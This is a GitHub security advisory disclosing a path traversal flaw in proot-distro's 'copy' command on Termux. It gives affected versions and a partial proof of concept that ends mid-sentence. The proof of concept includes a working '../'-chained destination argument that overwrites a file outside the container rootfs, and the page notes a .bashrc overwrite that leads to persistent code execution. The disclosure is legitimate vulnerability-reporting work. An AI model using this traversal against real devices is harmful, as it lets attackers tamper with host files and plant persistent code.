GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1>
<h2>Repository</h2>
<p>https://github.com/termux/proot-distro</p>
<p><strong>Maintainer:</strong> @sylirre</p>
<hr>
<h2>Affected Component</h2>
<ul>
<li><strong>Package:</strong> proot-distro</li>
<li><strong>Affected command:</strong> <code>copy</code></li>
<li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li>
<li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li>
</ul>
<hr>
<h2>Affected Versions</h2>
Component | Version
-- | --
proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)
Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias)
Architecture | aarch64
Device | Samsung A23
Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64
<hr>
<h2>Proof of Concept</h2>
<p>All tests were performed using only self-owned files and harmless marker data.
No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten
during testing was immediately restored.</p>
<h3>Step 1 — Setup</h3>
<pre><code>rm -rf ~/poc
mkdir -p ~/poc
</code></pre>
<hr>
<h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3>
<pre><code>echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt
proot-distro copy \
~/poc/evil.txt \
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"
</code></pre>
<p>Observed output:</p>
<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
</code></pre>
<p>Verification:</p>
<pre><code>cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO
</code></pre>
<p>This confirms that the destination resolved to a path outsid
Details
Original advisory: https://github.com/advisories/GHSA-mfr4-mq8w-vmg6
More from GitHub Security Advisories
- mediumGHSA-jr6p-8pjj-mfx6: Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators s…2026-07-31
- mediumGHSA-68cj-mvg9-rgm2: Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing…2026-07-31
- mediumGHSA-ff84-5f28-78qj: re2: Out-of-bounds heap read in `exec`/`test`/`match` via attacker-influenced `lastIndex`…2026-07-31
- mediumGHSA-6hxr-mr5r-9836: re2: Global `String.prototype.match` with an empty-matchable pattern never advances → inf…2026-07-31
- mediumGHSA-x83g-979r-f5fh: Sylius Mollie Plugin has unauthenticated IDOR that leaks order token and customer PII2026-07-31